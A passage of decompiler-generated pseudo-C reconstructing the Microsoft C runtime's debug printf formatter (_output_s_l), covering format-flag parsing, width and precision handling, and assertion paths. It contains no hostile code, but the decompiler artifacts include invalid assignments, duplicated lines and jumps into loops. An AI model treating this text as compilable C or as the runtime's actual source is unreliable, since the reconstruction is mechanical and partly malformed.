															if( *(__ebp - 0x320) > 0x2e) {
																L70:
																goto L218;
															}
															L48:
															__ecx =  *(__ebp - 0x320);
															_t116 = __ecx + 0x435470; // 0x4c7e9003
															__edx =  *_t116 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043545C))) {
																case 0:
																	L53:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L56:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L59:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L65:
																				L67:
																				goto L70;
																			}
																			L60:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L65;
																			}
																			L61:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L65;
																			}
																			L62:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L65;
																			}
																			L63:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L65;
																			}
																			L64:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L18;
																			}
																			goto L65;
																		}
																		L57:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L59;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	}
																	L54:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L56;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L67;
																	}
																case 1:
																	L68:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L70;
																case 2:
																	L49:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L70;
																case 3:
																	L69:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L70;
																case 4:
																	goto L70;
															}
														case 7:
															L71:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x324) = __ecx;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															__eflags =  *(__ebp - 0x324) - 0x37;
															if( *(__ebp - 0x324) > 0x37) {
																while(1) {
																	L190:
																	__eflags =  *(_t701 - 0x28);
																	if( *(_t701 - 0x28) != 0) {
																		goto L216;
																	}
																	goto L191;
																}
															}
															L72:
															_t157 =  *(__ebp - 0x324) + 0x4354dc; // 0xcccccc0d
															__ecx =  *_t157 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M004354A0))) {
																case 0:
																	L123:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L124;
																case 1:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L75;
																case 2:
																	L88:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L90;
																case 3:
																	L147:
																	 *(__ebp - 0x260) = 7;
																	goto L149;
																case 4:
																	L81:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x288) = E00428200(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x288);
																	if( *(__ebp - 0x288) == 0) {
																		L83:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																		L87:
																		goto L190;
																	}
																	L82:
																	__ecx =  *(__ebp - 0x288);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L84:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L87;
																	}
																	goto L83;
																case 5:
																	L124:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L126:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L129:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L131:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B760(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			__ecx =  *(__eax - 8);
																			__edx =  *(__eax - 4);
																			 *(__ebp - 0x2a8) =  *(__eax - 8);
																			 *(__ebp - 0x2a4) =  *(__eax - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041ACF0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a8;
																			_push(__ebp - 0x2a8);
																			__eax =  *0x440374; // 0x4b3bc1ec
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0x4b248c6c
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0x4b24956c
																					E00424560(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																			do {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			} while ( *(__ebp - 0x324) > 0x37);
																			goto L72;
																		}
																		L127:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L129;
																		}
																		L128:
																		 *(__ebp - 0x30) = 1;
																		goto L131;
																	}
																	L125:
																	 *(__ebp - 0x30) = 6;
																	goto L131;
																case 6:
																	L75:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		__ebp + 0x14 = E00428200(__ebp + 0x14);
																		 *(__ebp - 0x284) = __ax;
																		__cl =  *(__ebp - 0x284);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																	} else {
																		 *(__ebp - 0x280) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00428240(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x280) = E004340D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x280);
																		if( *(__ebp - 0x280) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																case 7:
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L153:
																	__eflags =  *(_t701 - 0x10) & 0x00008000;
																	if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																		_t649 =  *(_t701 - 0x10) & 0x00001000;
																		__eflags = _t649;
																		if(_t649 == 0) {
																			__eflags =  *(_t701 - 0x10) & 0x00000020;
																			if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																				_t651 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t651;
																				if(_t651 == 0) {
																					_t496 = E00428200(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					__eflags = 0;
																					 *(_t701 - 0x2b8) = _t496;
																					 *(_t701 - 0x2b4) = 0;
																				} else {
																					_t580 = E00428200(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t580;
																					 *(_t701 - 0x2b4) = _t651;
																				}
																			} else {
																				_t698 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t698;
																				if(_t698 == 0) {
																					_t581 = E00428200(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																					 *(_t701 - 0x2b4) = _t698;
																				} else {
																					_t584 = E00428200(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t584;
																					 *(_t701 - 0x2b4) = _t698;
																				}
																			}
																		} else {
																			_t587 = E00428220(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t587;
																			 *(_t701 - 0x2b4) = _t649;
																		}
																	} else {
																		_t588 = E00428220(_t701 + 0x14);
																		_t703 = _t703 + 4;
																		 *(_t701 - 0x2b8) = _t588;
																		 *(_t701 - 0x2b4) = _t647;
																	}
																	__eflags =  *(_t701 - 0x10) & 0x00000040;
																	if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																		goto L170;
																	}
																case 8:
																	L109:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x298) = E00428200(__ebp + 0x14);
																	__eax = E00433DB0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L119:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x298);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x298);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L110:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x32c) = 0;
																	} else {
																		 *(__ebp - 0x32c) = 1;
																	}
																	__eax =  *(__ebp - 0x32c);
																	 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E220();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) != 0) {
																		L118:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	} else {
																		L117:
																		 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
																		__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2f8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ACC0(__ecx);
																		__eax =  *(__ebp - 0x2f8);
																		goto L229;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L146:
																	 *(__ebp - 0x30) = 8;
																	goto L147;
																case 0xb:
																	L90:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x328) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x328) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x328);
																	 *(__ebp - 0x290) =  *(__ebp - 0x328);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428200(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L101:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x28c) =  *(__ebp - 4);
																		while(1) {
																			L104:
																			__ecx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L105:
																			__eax =  *(__ebp - 0x28c);
																			__ecx =  *( *(__ebp - 0x28c));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L106:
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																		}
																		L107:
																		__eax =  *(__ebp - 0x28c);
																		__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L108;
																	} else {
																		L94:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x294) =  *(__ebp - 4);
																		while(1) {
																			L97:
																			__edx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags =  *(__ebp - 0x290);
																			if( *(__ebp - 0x290) == 0) {
																				break;
																			}
																			L98:
																			__ecx =  *(__ebp - 0x294);
																			__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L99:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																		}
																		L100:
																		 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L108:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																case 0xc:
																	L145:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E00428200(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E00428200(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E00428200(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E00428200(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00428220(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00428220(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xd:
																	L148:
																	 *(__ebp - 0x260) = 0x27;
																	L149:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *((char*)(__ebp - 0x14)) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E00428200(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E00428200(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E00428200(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E00428200(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00428220(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00428220(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xe:
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
															}
														case 8:
															L30:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L33;
														case 9:
															L31:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L33;
														case 0xa:
															L29:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xb:
															L28:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L33;
														case 0xc:
															L32:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xd:
															L33:
															goto L218;
													}
												} else {
													if(0 == 0) {
														 *(_t701 - 0x314) = 0;
													} else {
														 *(_t701 - 0x314) = 1;
													}
													_t618 =  *(_t701 - 0x314);
													 *(_t701 - 0x278) =  *(_t701 - 0x314);
													if( *(_t701 - 0x278) == 0) {
														_push(L"(\"Incorrect format specifier\", 0)");
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t545 = L0041E220();
														_t703 = _t703 + 0x14;
														if(_t545 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t701 - 0x278) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L00422D10(_t618))) = 0x16;
														E00422AA0(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t701 - 0x2f0) = 0xffffffff;
														E0041ACC0(_t701 - 0x40);
														_t518 =  *(_t701 - 0x2f0);
														L229:
														return E0042BB60(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
													}
												}
											}
											L219:
											__eflags =  *(_t701 - 0x25c);
											if( *(_t701 - 0x25c) == 0) {
												L222:
												 *(_t701 - 0x334) = 1;
												L223:
												_t605 =  *(_t701 - 0x334);
												 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t523 = L0041E220();
													_t703 = _t703 + 0x14;
													__eflags = _t523 - 1;
													if(_t523 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) != 0) {
													 *(_t701 - 0x300) =  *(_t701 - 0x24c);
													E0041ACC0(_t701 - 0x40);
													_t518 =  *(_t701 - 0x300);
												} else {
													 *((intOrPtr*)(L00422D10(_t605))) = 0x16;
													E00422AA0(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t701 - 0x2fc) = 0xffffffff;
													E0041ACC0(_t701 - 0x40);
